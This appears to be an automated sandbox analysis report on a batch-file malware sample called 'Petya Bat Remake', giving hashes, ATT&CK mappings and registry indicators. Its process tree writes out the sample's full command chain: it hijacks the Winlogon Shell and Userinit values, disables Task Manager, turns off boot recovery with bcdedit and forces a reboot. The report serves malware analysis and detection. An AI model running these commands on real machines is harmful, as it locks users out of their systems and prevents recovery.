52e68fa2bb9568bb3039f0b0e820022e8aa02d46ac2c000ebf0deb49d2b3be1a

Reason

Machine shutdown

General

Target
Petya Bat Remake.bat
Size 4KB
Sample260403-yesjeshs6m
SHA256 52e68fa2bb9568bb3039f0b0e820022e8aa02d46ac2c000ebf0deb49d2b3be1a
MD5 1b86b2a36f859d7d099db6bb4e5b1ca6
SHA1 13a8b49ea33144322c636ac99aaf443d0195d9c8
SHA512 ac8946c92952983da6d7cbc257429edbac59cdffd375fdeb6bc0222bfe20e0887e04dae8e6c9297ba036bc58392a770685fa59822f8ad0602ee9ba4dc9efef11
SSDEEP 96:rE6ipJxOU81k1Wocsjm9xeJwNc6eYyiEy0nD:roOX1kAocsjKxekc6eYfE7D
TLSH
T153910E517C1684349598C9D2AC9B9F52F72EA28B50021FB0308FA0213B68EE86E7D6D9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion persistence ransomware

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Petya Bat Remake.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\Petya Bat Remake.bat"	reg.exe

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3196	bcdedit.exe
2428	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "240"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1756	shutdown.exe
Token: SeRemoteShutdownPrivilege	1756	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3972	LogonUI.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1432 wrote to memory of 3100	1432	cmd.exe	81
PID 3100 wrote to memory of 2908	3100	net.exe	82
PID 1432 wrote to memory of 852	1432	cmd.exe	83
PID 1432 wrote to memory of 4696	1432	cmd.exe	84
PID 1432 wrote to memory of 3096	1432	cmd.exe	85
PID 1432 wrote to memory of 3196	1432	cmd.exe	86
PID 1432 wrote to memory of 2428	1432	cmd.exe	87
PID 1432 wrote to memory of 1756	1432	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Petya Bat Remake.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1432
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3100
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2908
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Petya Bat Remake.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:852
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe, C:\Users\Admin\AppData\Local\Temp\Petya Bat Remake.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:4696
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3096
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3196
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2428
- C:\Windows\system32\shutdown.exe
  shutdown /r /f /t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1756

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a20055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3972